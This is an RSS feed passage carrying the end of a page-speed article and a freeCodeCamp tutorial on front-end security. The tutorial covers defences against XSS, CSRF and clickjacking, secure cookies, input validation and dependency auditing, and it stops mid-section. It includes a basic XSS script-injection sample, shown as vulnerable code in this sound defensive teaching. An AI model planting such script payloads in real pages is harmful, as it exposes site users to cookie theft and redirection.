<li><h3 id="heading-cloudflarehttpswwwcloudflarecom"><a target="_blank" href="https://www.cloudflare.com/">Cloudflare</a></h3>
</li>
</ol>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeKEUhCvUoLArPXA_KRMaH4ws28-YXc6OSzP9idKqis14maZynQIrYUoHaJWF1LJ20q7UcFjAhUGc7WRKpk1S37tkaanh5VRqguD2u7ICzp5eFY5e0mMNjZJU_yl-YCm2O1hdaq2gsnwpWJDbPMGGI?key=W-8S2j9mlTlf7KW39H_m9bHu" alt="AD_4nXeKEUhCvUoLArPXA_KRMaH4ws28-YXc6OSzP9idKqis14maZynQIrYUoHaJWF1LJ20q7UcFjAhUGc7WRKpk1S37tkaanh5VRqguD2u7ICzp5eFY5e0mMNjZJU_yl-YCm2O1hdaq2gsnwpWJDbPMGGI?key=W-8S2j9mlTlf7KW39H_m9bHu" width="600" height="400" loading="lazy"></p>
<p>Last but not least, Cloudflare is a good tool that helps enhance the loading speed of a website by using its global content delivery network (CDN). With this feature, it caches static content across different servers worldwide. This ultimately reduces the overall latency and improves loading speed for users in different locations.</p>
<p>Besides this, Cloudflare also offers a bunch of other features. For example, it automatically minifies HTML, CSS, and JavaScript files. It can even compress and convert images into next-gen formats, especially WebP.</p>
<p>It offers a robust DNS resolution that reduces lookup times and helps the page load faster. This feature also protects the site from DDoS attacks.</p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>If you want to experience higher ranking and increased user engagement, then you need to optimize your website’s loading speed. The extra bits and bytes like code files, media, and so on can cause real hurdles – but don’t worry.</p>
<p>By using these strategies and tools, you’ll be able to speed up page loading in no time. I hope you found this article interesting and valuable.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Why Cybersecurity Skills Are Important for Front-End Developers ]]>
                </title>
                <description>
                    <![CDATA[ These days, cyberattacks are growing concerns that everyone on a development team should be aware of. This means that if you’re a developer, you should learn some basic cybersecurity skills. After all, cyber attackers are typically developers themsel... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/cybersecurity-for-front-end-developers/</link>
                <guid isPermaLink="false">67ae836a9d7e6c0ddc4469ad</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Thu, 13 Feb 2025 23:42:34 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739382570620/c4a57662-4275-4deb-92c1-6ec560d6c30a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>These days, cyberattacks are growing concerns that everyone on a development team should be aware of. This means that if you’re a developer, you should learn some basic cybersecurity skills.</p>
<p>After all, cyber attackers are typically developers themselves, and their attacks are only increasing in frequency, variety, and complexity.</p>
<p>I don’t tell you this to instill fear. I simply believe that all developers should level up their cybersecurity skills, period. Not just by understanding the principles, but by applying them, as well. And this isn’t just important for you if you work with the DevSecOps team. It’s important for everyone. </p>
<p>So what is the critical role that front-end developers can play in protecting apps and products? Read on to find out.</p>
<dl>
<summary>Table of Contents</summary>
<ul>
<li>
  <a href="heading-introduction-cybersecurity-is-not-solely-a-back-end-responsibility">Cybersecurity Is Not Solely a Back-End Responsibility</a></li>
  <li><a href="heading-understanding-the-front-end-developers-role-in-security">Understanding the Front-End Developer's Role in Security</a></li>
  <li><a href="heading-real-world-cybersecurity-threats-affecting-the-front-end">Real-World Cybersecurity Threats Affecting the Front End</a></li>
<details>
  <li><a href="heading-1-cross-site-scripting-xss">Cross-Site Scripting (XSS)</a></li>
  <li><a href="heading-2-cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</a></li>
  <li><a href="heading-3-insecure-api-calls">Insecure API Calls</a></li>
  <li><a href="heading-4-third-party-script-vulnerabilities">Third-Party Script Vulnerabilities</a></li>
</details>
  <li><a href="heading-practical-steps-for-mitigating-third-party-script-vulnerabilities">Practical Steps for Mitigating Third-Party Script Vulnerabilities</a></li>
  <li><a href="heading-core-cybersecurity-principles-for-front-end-developers">Core Cybersecurity Principles for Front-End Developers</a></li>
<details>
  <li><a href="heading-confidentiality">Confidentiality</a></li><li>
  </li><li><a href="heading-integrity">Integrity</a></li>
 <li><a href="heading-availability">Availability</a></li>
</details>
  <li><a href="heading-conclusion-empowering-front-end-developers-to-build-secure-applications">Conclusion: Empowering Front-End Developers to Build Secure Applications</a></li>
</ul>
</dl>

<h2 id="heading-cybersecurity-isnt-only-a-back-end-responsibility">Cybersecurity Isn’t Only a Back-End Responsibility</h2>
<p>Cybersecurity is no longer something that only back-end developers must worry about.</p>
<p>Learning these skills can benefit every developer, but in this article, I will focus on front-end development for two reasons.</p>
<p>For one, front-end development is usually seen as the more creative side of development. It’s not that teams don’t see cybersecurity as important here, but it isn’t usually as much of a priority. This mindset could lead to catastrophic mistakes that compromise the whole system altogether. Especially as front-end vulnerabilities are commonly exploited these days.</p>
<p>The other reason is that the front-end is where the customer interacts with the application and likely has their first real interaction with the brand. Front-end developers need to ensure that this experience is fruitful, positive, user-friendly, and builds trust. </p>
<p>There are already many people talking about keeping the back-end secure, as that comes with the territory. So, let’s talk about why you need to mitigate risks on the front-end, what specific risks to prepare for, and how to <a target="_blank" href="https://www.pipedrive.com/en/blog/cybersecurity-tips">improve your cybersecurity skills</a>.</p>
<p>Quick note – these skills aren’t just going to be helpful, practical skillset to add to your toolbox. They’ll also prepare you for new opportunities to grow in your career, especially as the cybersecurity industry continues to grow.</p>
<h2 id="heading-understanding-the-front-end-developers-role-in-security">Understanding the Front-End Developer's Role in Security</h2>
<p>Front-end developers play a crucial role as the first line of defense against attackers.</p>
<p>Every button click, form submission, and API call needs to be smooth, and the front-end developer makes this possible. Focusing on the front end means that these developers are the gatekeepers of user interactions. As such, they are doing much more than just creating a slick user interface; it also has to be secure and prevent vulnerabilities.</p>
<p>Front-end developers manage how data is collected, validated, and passed on to back end systems, so there is no room for mistakes at any point. Otherwise, malicious users might cause havoc across the entire application.</p>
<p>By definition, the front end is the most exposed part of any application, so if there is a weakness in the code, it can potentially be exploited by cyber attackers. Implementing comprehensive data protection <a target="_blank" href="https://blog.scalefusion.com/best-data-protection-software/">software</a> minimizes security risks from the outset.</p>
<p>In contrast, back-end code is hidden from users and runs in controlled environments, unlike front-end code, which is served to users’ browsers and is accessible to users and cyber attackers alike. For example, if a front-end developer implements poor user input handling, the back-end systems could be exposed to SQL injections or Cross-Site Scripting (XSS) attacks. Below, we discuss these specific threats in more detail.</p>
<h2 id="heading-real-world-cybersecurity-threats-affecting-the-front-end">Real-World Cybersecurity Threats Affecting the Front End</h2>
<p>Cyberattacks come in many forms. If we’re talking about the front end, these can range from direct attacks on user input fields to exploitation of third-party libraries. The most common vulnerabilities are:</p>
<ol>
<li><p>Cross-Site Scripting or (XSS)</p>
</li>
<li><p>Cross-Site Request Forgery (CSRF)</p>
</li>
<li><p>Insecure API Calls</p>
</li>
<li><p>Third-Party Script Vulnerabilities</p>
</li>
</ol>
<h3 id="heading-1-cross-site-scripting-xss">1. Cross-Site Scripting (XSS):</h3>
<p>XSS is probably the most common vulnerability discussed in front-end development and cybersecurity. It occurs when an application renders malicious scripts injected by a cyber-attacker that execute in the user’s browser. This is only possible due to improper input sanitization.</p>
<p>For example, bad actors could use XSS attacks to inject a script into a comment section. Whether due to improper input sanitization or the attacker bypassing the validation altogether, as other users view this comment, the script can steal cookies or redirect users to phishing sites.</p>
<p>XSS is dangerous because it directly targets users and can compromise their data, not to mention their trust in your application. </p>
<p>XSS attacks are becoming more dangerous and sophisticated over time. By directly targeting users, attackers can harvest personal data or redirect users to <a target="_blank" href="https://www.aura.com/learn/how-to-know-if-a-website-is-safe">malicious websites</a>.</p>
<p><strong>Objection: XSS is a Back-End Concern, Not a Front-End One</strong></p>
<p>If you want to get technical and object by saying that XSS is not truly a front-end concern but a back-end one, I see where you’re coming from. Preventing XSS can be done entirely on the back end through input validation, sanitation, and testing.</p>
<p>But this thinking misses the point of this discussion, which I want to draw your attention to. Namely, the front end is where the risk originates, and so, if there’s room to mitigate the risk right away, at the forefront, it should be done.</p>
<p>Also, if the validation fails on the back end, the vulnerability still stands as the attack succeeds in overcoming this single point of failure. Instead, why not strengthen both the back and front ends for a superior defense?</p>
<p><strong>Practical Steps for Mitigating XSS Attacks</strong></p>
<p><strong>1. Input Sanitization</strong></p>
<p>The first step is to implement an input sanitization process that uses libraries or built-in framework features to strip harmful characters prior to their being processed or displayed. For example, in JavaScript, libraries like DOMPurify can help clean user-generated content to remove malicious scripts.</p>
<p>Here’s a simplified example of unsanitized versus sanitized input:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Vulnerable code</span>
<span class="hljs-keyword">const</span> userInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'comment'</span>).innerHTML = <span class="hljs-string">"&lt;script&gt;alert('Hacked!')&lt;/script&gt;"</span>;
<span class="hljs-comment">// With DOMPurify</span>
<span class="hljs-keyword">const</span> sanitizedInput = DOMPurify.sanitize(userInput);
<span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'comment'</span>).innerHTML = sanitizedInput;
</code></pre>
<p><strong>2. Encoding</strong></p>
<p>If your application allows users to contribute <a target="_blank" href="https://www.superside.com/blog/smash-your-cpl-with-ugc-style-ads">user-generated content</a>, encode it. If browsers try to read it, they’ll only view it as text rather than an executable code. </p>
<p>For instance, HTML encoding can convert &lt; and &gt; into &lt; and &gt;.</p>
<p><strong>3. Content Security Policy (CSP)</strong></p>
<p>You can also set up Content Security Policies (CSPs) to act as a safety net. A Content Security Policy is a browser-based defense mechanism. By defining rules in your server’s HTTP headers, you can restrict the types of content (for example, JavaScript, CSS, and so on) that are allowed to load, though they might not detect every XSS attack or vulnerability. </p>
<table><tbody><tr><td><p>Content-Security-Policy: script-src 'self' <a target="_self" href="https://trusted-source.com">https://trusted-source.com</a>;</p></td></tr></tbody></table>

<p>This policy ensures that only scripts from your own domain or trusted sources are executed to mitigate the risk of XSS.</p>
<p>By combining input sanitization, encoding, and CSPs, you can significantly reduce the risk of XSS attacks. Strengthening both the front end and back end provides the layered defense necessary to protect user data and maintain trust in your application.</p>
<h3 id="heading-2-cross-site-request-forgery-csrf">2. Cross-Site Request Forgery (CSRF):</h3>
<p>Authenticated users who trust a site could potentially be tricked into performing actions they never intended and may not even notice. This might lead to changing or deleting accounts or transferring funds. These are CSRF attacks, and they can be particularly devastating to an application’s users. </p>
<p>To give an example of CSRF, let’s say a user left a social media site without logging out. They visit a new site, which turns out to be malicious, and a hidden form sends a request to automatically update their social media profile’s bio with phishing links. Since they were already authenticated, the platform processes the malicious request as coming from the user.</p>
<p>Again, you could argue that addressing the CSRF problem is all about the back end, where you can use anti-CSRF tokens to prevent these attacks. It’s true that these tokens are crucial, but neglecting the front-end responsibility of creating a secure workflow can leave applications vulnerable.</p>
<p>For example, implementing <a target="_blank" href="https://www.textmagic.com/blog/texting-and-two-factor-authentication/">two-factor authentication (2FA)</a> can add an additional layer of security, ensuring that even if a CSRF attempt occurs, unauthorized actions are significantly harder to execute.</p>
<p>CSRF attacks make it easy for attackers to steal <a target="_blank" href="https://www.aura.com/learn/how-to-protect-your-personal-information-online">personal information online</a>. In fact, 1 in 4 people are likely to be the victim of an online crime, so protecting against these attacks is critical.</p>
<p><strong>Practical Steps for Mitigating CSRF Attacks</strong></p>
<p>If front-end developers want to create stronger workflows that prevent CSRF attacks, the first step is to enforce user intent. Any time there are potentially sensitive user actions, you should require explicit confirmation that they want to proceed. You might simply ask, “Are you sure you want to do that?” It’s a simple but sure way to get them to at least think about and confirm their decision.</p>
<p>Then there’s the problem of clickjacking. This is simply the name for when bad actors use hidden or overlaid elements (like buttons or links) on a legitimate-looking page to trick users into clicking on something different than what they expect. For example, a user might think they’re clicking a harmless button, but in reality, they’re approving a sensitive action like transferring funds or changing account settings.</p>
<p>To prevent this, use headers like X-Frame-Options or Content-Security-Policy to keep attackers from embedding your application in iframes.</p>
<ul>
<li><strong>X-Frame-Options Header:</strong> This header tells the browser whether your site can be embedded in an iframe and by whom.</li>
</ul>
<p>Example:</p>
<pre><code class="lang-javascript">X-Frame-Options: DENY
</code></pre>
<p>This ensures that your application cannot be embedded in any iframe which effectively blocks any clickjacking attempts.</p>
<p>Alternatively, you can allow specific trusted sources:</p>
<pre><code class="lang-javascript">X-Frame-Options: ALLOW-FROM https:<span class="hljs-comment">//trusted-domain.com</span>
</code></pre>
<p>This lets iframes load your application only on a trusted domain.</p>
<ul>
<li><strong>Content-Security-Policy (CSP):</strong> While X-Frame-Options is effective, CSP provides more flexibility. You can use the frame-ancestors directive to control which domains are allowed to embed your application.</li>
</ul>
<p>Example:</p>
<pre><code class="lang-javascript">Content-Security-Policy: frame-ancestors <span class="hljs-string">'self'</span> https:<span class="hljs-comment">//trusted-domain.com;</span>
</code></pre>
<p>This ensures that only your own site ('self') or explicitly allowed domains can display your application in an iframe.</p>
<p>I’ll touch on this more below, but a key to creating a solid, all-around security program is to collaborate effectively with your back-end counterparts. As they likely have a process for anti-CSRF tokens, you can understand how they are generated and ensure they’re properly included in all relevant requests. </p>
<p>For enhanced communication security with your teams it is recommended to use <a target="_blank" href="https://www.chanty.com/blog/dod-approved-messaging-apps/">DOD-approved apps</a>.</p>
<h3 id="heading-3-insecure-api-calls">3. Insecure API Calls</h3>
<p>The API is what allows the front-end and back-end of the system to communicate. The front-end is often where API calls are initiated and where sensitive data is handled. If the API is not secure in terms of front-end tokens and credentials, the whole system can wind up compromised. </p>
<p>Encryption is the key to keeping your API keys and tokens safe so they aren’t exposed in client-side code or somehow shared over unencrypted connections, which malicious actors could easily intercept and abuse. This falls onto the front-end developer because poorly implemented CORS policies or error-handling processes can actually lead to leaked info. Securely integrating APIs into a communication management system can further enhance protection by streamlining security measures for sensitive interactions.</p>
<p>Insecure API calls can be a goldmine for attackers. If sensitive tokens or credentials are exposed, they'll be able to access accounts and steal personal data, likely to commit identity theft. Securing APIs is about preventing attackers from finding vulnerabilities.</p>
<p>Thankfully, there are a few ways you can make your API more secure.</p>
<p><strong>Practical Steps for Mitigating API Attacks</strong></p>
<p>Just like the last section, you can prevent a lot of headaches by using HTTPS-enforced and encrypted connections. This helps keep out the bad guys and prevents interception during transmission. </p>
<p>When it comes to the sensitive information surrounding your API, make sure you use secure cookies with the HttpOnly and Secure flags rather than localStorage or sessionStorage as they are accessible by JavaScript and vulnerable to XSS attacks.</p>
<p>Secure cookies are critical for storing sensitive information like session IDs or authentication tokens. By using the HttpOnly and Secure flags, you make cookies inaccessible to JavaScript (reducing the risk of XSS attacks) and ensure they’re only transmitted over HTTPS.</p>
<p>Here’s an example of setting secure cookies in Express.js:</p>
<pre><code class="lang-javascript">app.use(<span class="hljs-built_in">require</span>(<span class="hljs-string">'cookie-parser'</span>)());

app.get(<span class="hljs-string">'/set-cookie'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.cookie(<span class="hljs-string">'authToken'</span>, <span class="hljs-string">'your-secure-token'</span>, {
    <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span>,  <span class="hljs-comment">// Prevents client-side JavaScript access</span>
    <span class="hljs-attr">secure</span>: <span class="hljs-literal">true</span>,    <span class="hljs-comment">// Ensures cookies are sent only over HTTPS</span>
    <span class="hljs-attr">sameSite</span>: <span class="hljs-string">'strict'</span>, <span class="hljs-comment">// Prevents cross-site cookie usage</span>
  });
  res.send(<span class="hljs-string">'Secure cookie set!'</span>);
});
</code></pre>
<p>Oh, and if you have any sensitive information about the API, just be sure not to include them in any API error messages. Error messages can be a goldmine for attackers looking to exploit your system. Avoid exposing sensitive details about your API, such as stack traces, database structures, or authentication mechanisms, in error responses.</p>
<p>Take a look at this example of sanitizing error messages in Express.js:</p>
<pre><code class="lang-javascript">app.use(<span class="hljs-function">(<span class="hljs-params">err, req, res, next</span>) =&gt;</span> {
  <span class="hljs-built_in">console</span>.error(err.stack); <span class="hljs-comment">// Log the full error internally for debugging</span>
  res.status(<span class="hljs-number">500</span>).send({
    <span class="hljs-attr">error</span>: <span class="hljs-string">'An unexpected error occurred. Please try again later.'</span>,
  }); <span class="hljs-comment">// Send a generic error message to the client</span>
});
</code></pre>
<p>By sanitizing responses, you reduce the chances of leaking information that could aid an attacker.</p>
<h3 id="heading-ia"> </h3>
<p>4. Third-Party Script Vulnerabilities</p>
<p>Development can take a long time when done from scratch, so third-party scripts and libraries are essential for getting an application up and running quickly. With third-party scripts, you get pre-built functionality and can cut development time significantly. The only problem is that there might be vulnerabilities that you aren’t aware of because the script isn’t entirely your own.</p>
<p>Extending your development to include third-party scripts or libraries does increase the likelihood of potential risk, as a single compromised library might introduce malicious code across every application connected to it.</p>
<p>For some businesses like dropshipping and e-commerce, which often rely on third-party tools for inventory management, order processing, and website functionalities, ensuring the security of these scripts is crucial to maintaining operational integrity and customer trust.</p>
<p>Historically speaking, at least one incident (check out “event-stream” if you haven’t heard of it) involved a widely used package affecting thousands of projects because it wasn’t carefully monitored. </p>
<h4 id="heading-practical-steps-for-mitigating-third-party-script-vulnerabilities">Practical Steps for Mitigating Third-Party Script Vulnerabilities</h4>
<p>As a front-end developer, there are some ways around this scenario, and they mostly involve auditing on a consistent basis. If you’re considering using any third-party libraries, throw everything you can at trying to see if it has any vulnerabilities. </p>
<p>There are tools for this, some that you might already be using like Snyk, npm audit, or OWASP Dependency-Check to scan the library for issues. For example, if you’re considering adding a JavaScript library to handle user input forms, you can start by running an audit:</p>
<pre><code class="lang-bash">npm audit
</code></pre>
<p>This will highlight any vulnerabilities in the library’s dependencies. If critical vulnerabilities are found, either update the package (if patches are available) or consider alternatives.</p>
<p>You can also simply restrict the number of scripts to only include ones that meet the criteria you’ve designed such as being actively maintained, having a strong security record, and coming from reputable sources. Additionally, implement safeguards to control their behavior. For example, use a Content Security Policy (CSP) to restrict where scripts can load from. Add a CSP header to your application:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"script-src 'self' https://trusted-library.com;"</span>&gt;</span>
</code></pre>
<p>This restricts scripts to your own domain and the trusted third-party source.</p>
<p>You can also keep an eye on the community and see what updates are coming down the pipeline about security patches and deprecations for your existing libraries. If you have to make changes because you find some issues, be sure to share your findings with the community. This could be through written documentation, blog posts, or even <a target="_blank" href="https://riverside.fm/recording">recording videos</a> that explain your findings and solutions. </p>
<p>Again, we’re not saying you should throw away every last budgetary penny to work on your projects from scrap. But you can probably find the right balance between useful libraries and suspicious ones once you get the hang of running audits. </p>
<h2 id="heading-core-cybersecurity-principles-for-front-end-developers">Core Cybersecurity Principles for Front-End Developers</h2>
<p>Let’s get back to helping you, as a developer, understand how you can benefit from cybersecurity. After all, secure front-end development comes down to understanding three key cybersecurity principles: <strong>Confidentiality, Integrity, and Availability</strong>. I usually call this the CIA Triad, because just using these three principles, you can build a <a target="_blank" href="https://www.privacyjournal.net/what-is-digital-security/">comprehensive security framework</a>.</p>
<h3 id="heading-confidentiality">Confidentiality</h3>
<p>Confidentiality is about protecting sensitive data. Your goal is to ensure that the wrong people don’t get their hands on data they shouldn’t have access to. So, where you come in as a front-end developer is to carefully create systems that keep data safe as it's handled on the client side to and from the server. </p>
<p>If a user shares highly sensitive data with your application, say, in a <a target="_blank" href="https://www.artisan.co/blog/ai-lead-generation">lead generation</a> form, they’ve already shown that they trust you to keep their information safe. This information includes passwords, API keys, credit card numbers, personal identifying information, and other personal or financial information. If they trust your app, it better be able to keep their information safe and secure. If it doesn’t, you risk their information and possibly their identity being compromised. </p>
<p><strong>Turning Confidentiality Into a Skill</strong></p>
<p>Mastering the ability to handle sensitive data securely is the key to ensuring confidentiality. Here’s how you can protect user confidentiality:</p>
<p><strong>1. Encrypt Data in Transit Using HTTPS</strong></p>
<p>To ensure data remains confidential during transmission, always use <a target="_blank" href="https://aioseo.com/seo-glossary/https-hyper-text-transfer-protocol-secure/">HTTPS</a>. This encrypts the communication between the client and the server that makes it harder for attackers to intercept sensitive information. For example, when deploying your application, make sure your web server is configured to enforce HTTPS. If you're using Nginx, your configuration file should include:</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">443</span> ssl;
    <span class="hljs-attribute">ssl_certificate</span> /path/to/cert.pem;
    <span class="hljs-attribute">ssl_certificate_key</span> /path/to/key.pem;
    <span class="hljs-attribute">server_name</span> yourdomain.com;
}
</code></pre>
<p>This ensures all client-server communication is encrypted.</p>
<p><strong>2. Learn to Store Sensitive Data in Secure Locations</strong></p>
<p>Avoid storing sensitive information (like tokens or passwords) in insecure browser mechanisms such as localStorage or sessionStorage. Instead, use secure cookies with the HttpOnly and Secure flags. For instance, when setting cookies for user authentication, configure them like this in your backend:</p>
<pre><code class="lang-javascript">res.cookie(<span class="hljs-string">'authToken'</span>, token, {
    <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-attr">secure</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-attr">sameSite</span>: <span class="hljs-string">'Strict'</span>,
});
</code></pre>
<p>This prevents JavaScript-based attacks (like XSS) from accessing the cookie while ensuring it’s only sent over HTTPS.</p>
<p><strong>3. Validate and Sanitize Input</strong></p>
<p>When collecting sensitive data, validate and sanitize user inputs to prevent malicious data from being processed. If you’re building a form for collecting PII, like email addresses or phone numbers, validate the input on both the client and server sides:<br><strong>Client-Side Validation (React):</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> validateEmail = <span class="hljs-function">(<span class="hljs-params">email</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> regex = <span class="hljs-regexp">/^[^\s@]+@[^\s@]+\.[^\s@]+$/</span>;
    <span class="hljs-keyword">return</span> regex.test(email);
};
</code></pre>
<p><strong>Server-Side Validation (Node.js):</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> sanitize = <span class="hljs-built_in">require</span>(<span class="hljs-string">'sanitize-html'</span>);
app.post(<span class="hljs-string">'/submit'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> sanitizedInput = sanitize(req.body.email);
    <span class="hljs-comment">// Process sanitized input</span>
});
</code></pre>
<p><strong>4. Minimize Data Exposure</strong></p>
<p>Only collect and expose data when absolutely necessary. Avoid including sensitive information in logs, URLs, or API error messages.</p>
<p>For example, when debugging an issue in production, use redacted logs for sensitive data:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">console</span>.log(<span class="hljs-string">`User: <span class="hljs-subst">${user.name}</span>, Password: [REDACTED]`</span>);
</code></pre>
<p>This prevents accidental exposure of sensitive information in your logs.</p>
<h3 id="heading-integrity">Integrity</h3>
<p><a target="_blank" href="http://improvado.io/blog/data-integrity-explained">Data integrity</a> is more about ensuring that every piece of information remains accurate, and consistent, and isn’t changed in the course of its lifecycle. In other words, as data travels through transmission, processing, or storage, it is never damaged, compromised, or tampered with. </p>
<p>This requires some proactivity, because you’re not only protecting the integrity of the information from attackers but also your own systems or potential errors. Altered data can break functionality or mislead users. Or attackers might modify data inputs to exploit vulnerabilities, as I discussed earlier.</p>
<p><strong>Turning Integrity Into a Skill</strong></p>
<p>If your application accepts user input, such as an email address, validate it with a regex before sending it to the server.</p>
<p><strong>Client-Side Validation:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> isValidEmail = <span class="hljs-function">(<span class="hljs-params">email</span>) =&gt;</span> <span class="hljs-regexp">/^[^\s@]+@[^\s@]+\.[^\s@]+$/</span>.test(email);
<span class="hljs-keyword">if</span> (!isValidEmail(userInput)) {
    alert(<span class="hljs-string">"Invalid email address"</span>);
}
</code></pre>
<p><strong>Server-Side Validation:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { body, validationResult } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express-validator'</span>);
app.post(<span class="hljs-string">'/register'</span>, [
    body(<span class="hljs-string">'email'</span>).isEmail().withMessage(<span class="hljs-string">'Invalid email'</span>),
    body(<span class="hljs-string">'password'</span>).isLength({ <span class="hljs-attr">min</span>: <span class="hljs-number">8</span> }).withMessage(<span class="hljs-string">'Password must be at least 8 characters long'</span>),
], <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> errors = validationResult(req);
    <span class="hljs-keyword">if</span> (!errors.isEmpty()) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({ <span class="hljs-attr">errors</span>: errors.array() });
    }
    <span class="hljs-comment">// Process valid input</span>
});
</code></pre>
<p>Server-side validation acts as a second layer of defense. Using a framework like Express in Node.js</p>
<p>Important user actions, such as modifying account details or deleting data, require explicit user confirmation to prevent unintentional or malicious changes. You can use a confirmation dialog for sensitive operations like deleting a user account:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> deleteAccount = <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> confirmed = <span class="hljs-built_in">window</span>.confirm(<span class="hljs-string">"Are you sure you want to delete your account?"</span>);
    <span class="hljs-keyword">if</span> (confirmed) {
        <span class="hljs-comment">// Proceed with account deletion</span>
        fetch(<span class="hljs-string">'/delete-account'</span>, { <span class="hljs-attr">method</span>: <span class="hljs-string">'DELETE'</span> });
    }
};
</code></pre>
<p>Sanitize data to shake out any potential harmful characters or scripts before they’re processed. Use libraries like DOMPurify to clean user input in a React application:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> DOMPurify <span class="hljs-keyword">from</span> <span class="hljs-string">'dompurify'</span>;
<span class="hljs-keyword">const</span> sanitizedInput = DOMPurify.sanitize(userInput);
</code></pre>
<p>This ensures that potentially malicious content, such as &lt;script&gt;alert('XSS')&lt;/script&gt;, is neutralized before rendering.</p>
<p>To prevent DOM manipulation, use encoding functions to reduce the risk of running bad scripts or other user inputs. In React, use dangerouslySetInnerHTML cautiously and only with properly sanitized content.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> safeContent = DOMPurify.sanitize(unsafeContent);
<span class="hljs-keyword">return</span> <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">dangerouslySetInnerHTML</span>=<span class="hljs-string">{{</span> <span class="hljs-attr">__html:</span> <span class="hljs-attr">safeContent</span> }} /&gt;</span></span>;
</code></pre>
<p>Encoding prevents user-generated content from being executed as code.</p>
<p>And don’t forget to keep a close eye on any third-party scripts regularly to ensure there are no areas of concern. As I’ve discussed before, tools like Snyk or npm audit are used to check for vulnerabilities in dependencies. Address flagged vulnerabilities promptly by updating or replacing problematic packages. Additionally, ensure the implementation of robust data backup <a target="_blank" href="https://cyberpanel.net/blog/office-365-backup-solutions-comparison-top-5-saas-data-protection-tools">solutions</a> that provide immutable storage and end-to-end encryption to reduce the risk of data loss and unauthorized access significantly. And don’t forget to keep a close eye on any third-party scripts regularly to ensure there are no areas of concern.</p>
<h3 id="heading-availability">Availability</h3>
<p>Availability is all about access. Is your front-end application remaining operational on a reliable basis and accessible to your users? If yes, even in the face of potential threats, then you’re doing great.</p>
<p>Success here is about designing solutions that keep the application running, especially in times of heavy user traffic, server failures, you name it. You can’t have a successful application that crashes all the time or poses a potential threat due to downtime. </p>
<p><strong>Turning Availability Into a Skill</strong></p>
<p>As a front-end developer who wants to focus on availability, you’ll have to learn how to: </p>
<p><strong>1. Distribute Traffic Across Servers</strong></p>
<p>Load balancing spreads user requests across multiple servers to prevent overloading a single server and maintain smooth operation during peak traffic. If you’re deploying a front-end on AWS, use Elastic Load Balancing (ELB) to distribute traffic:</p>
<ul>
<li><p>Set up multiple EC2 instances to host your app.</p>
</li>
<li><p>Configure an ELB to route user requests evenly across these instances.</p>
</li>
<li><p>ELB also detects unhealthy instances and reroutes traffic to healthy ones automatically.</p>
</li>
</ul>
<p><strong>2. Implement Caching Mechanisms</strong> </p>
<p>Caching stores frequently accessed resources locally which reduces server load and speeds up user requests. You can use browser caching to store assets like images, stylesheets, and scripts.</p>
<p><strong>Client-Side Caching:</strong></p>
<p>In your HTTP response headers, set cache-control directives:</p>
<pre><code class="lang-bash">Cache-Control: public, max-age=31536000
</code></pre>
<p>This tells browsers to cache resources for a year to reduce requests to your server.</p>
<p><strong>Server-Side Caching:</strong></p>
<p>Use tools like Redis or Varnish Cache to store dynamic data. If you’re using a Node.js server with Redis:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> redis = <span class="hljs-built_in">require</span>(<span class="hljs-string">'redis'</span>);
<span class="hljs-keyword">const</span> client = redis.createClient();

app.get(<span class="hljs-string">'/data'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
    <span class="hljs-keyword">const</span> cachedData = <span class="hljs-keyword">await</span> client.get(<span class="hljs-string">'key'</span>);
    <span class="hljs-keyword">if</span> (cachedData) {
        <span class="hljs-keyword">return</span> res.json(<span class="hljs-built_in">JSON</span>.parse(cachedData));
    }
    <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> fetchDataFromDatabase();
    client.setex(<span class="hljs-string">'key'</span>, <span class="hljs-number">3600</span>, <span class="hljs-built_in">JSON</span>.stringify(data)); <span class="hljs-comment">// Cache for 1 hour</span>
    res.json(data);
});
</code></pre>
<p><strong>3. Implement Rate-Limiting Rules</strong></p>
<p>By implementing rate-limiting rules to cap the number of requests from the same IP in a given time frame, you’re preventing abuse and ensuring availability for all users. Use a library like express-rate-limit in your Node.js app:</p>
